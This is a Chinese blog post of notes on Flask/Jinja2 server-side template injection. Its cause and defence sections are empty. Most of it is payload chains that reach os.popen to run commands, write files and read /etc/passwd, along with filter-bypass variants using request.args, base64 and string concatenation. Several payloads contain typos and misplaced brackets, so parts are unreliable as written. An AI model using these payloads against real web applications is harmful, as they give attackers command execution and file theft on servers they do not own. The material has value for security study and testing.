flask ssti

1.漏洞成因:

2.漏洞防御:

3.漏洞利用:

subclasses()[59]:是找到重载过的__init__类(在获取初始化属性后,带wrapper的说明没有重载,寻找不带warpper的)

(1)''.__class__.__mro__[2].__subclasses__()[40]("/root/桌面/test.txt", "a").write("123")

(2)''.__class__.__mro__[2].__subclasses__([59].__init__.__globals__['__uiltins__']['eval']('__import__("os").popen("whoami").read()')

(3)[].__class__.__base__.__subclasses__([59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.values()[144]('whoami')}

(4){}.__class__.__bases__[0].__subclasses__([59].__init__.__globals__['__builtins__']['__import__']('os').popen('whoami').read()

(5)#注入摸板
{%for c in %27%27.__class__.__base__.__subclasses__()%}
	{%if c.__name__ == %27catch_warnings%27%}
	{{c.__init__.__globals__[%27__builtins__%27]['eval']
	('__import__("os").	popen("ipconfig").read()')}}
	{%endif%}
{%endfor%}

4.摸板函数:

class 获取所属类
bases 获取基类
mro 此属性是在方法解析期间寻找基类时考虑的类元组
subclasses() 返回object的子类
globals 函数会以字典类型返回当前位置的全部全局变量 与 func_globals 等价

5.过滤绕过:

#1.过滤中括号
{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('whoami').read()

#把[59]换为.pop[59]
#过滤引号
#request.args 是flask中的一个属性,为返回请求的参数,这里把path当作变量名,将后面的路径传值进来,进而绕过了引号的过滤
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read()}}&path=/etc/passwd
#过滤双下划线
#同样利用request.args属性
{{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__
#将其中的request.args改为request.values则利用post的方式进行传参
#GET:
{{ ''[request.value.class][request.value.mro][2][request.value.subclasses]()[40]('/etc/passwd').read() }}
#POST:
class=__class__&mro=__mro__&subclasses=__subclasses__
#过滤关键字
#base64编码绕过
__getattribute__使用实例访问属性时,调用该方法
#例如被过滤掉__class__关键词
{{[].__getattribute__('X19jbGFzc19f'.decode('base64')).__base__.__subclasses__()[40]("/etc/passwd").read()}}
#字符串拼接绕过
{{[].__getattribute__('__c'+'lass__').__base__.__subclasses__()[40]("/etc/passwd").read()}}
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值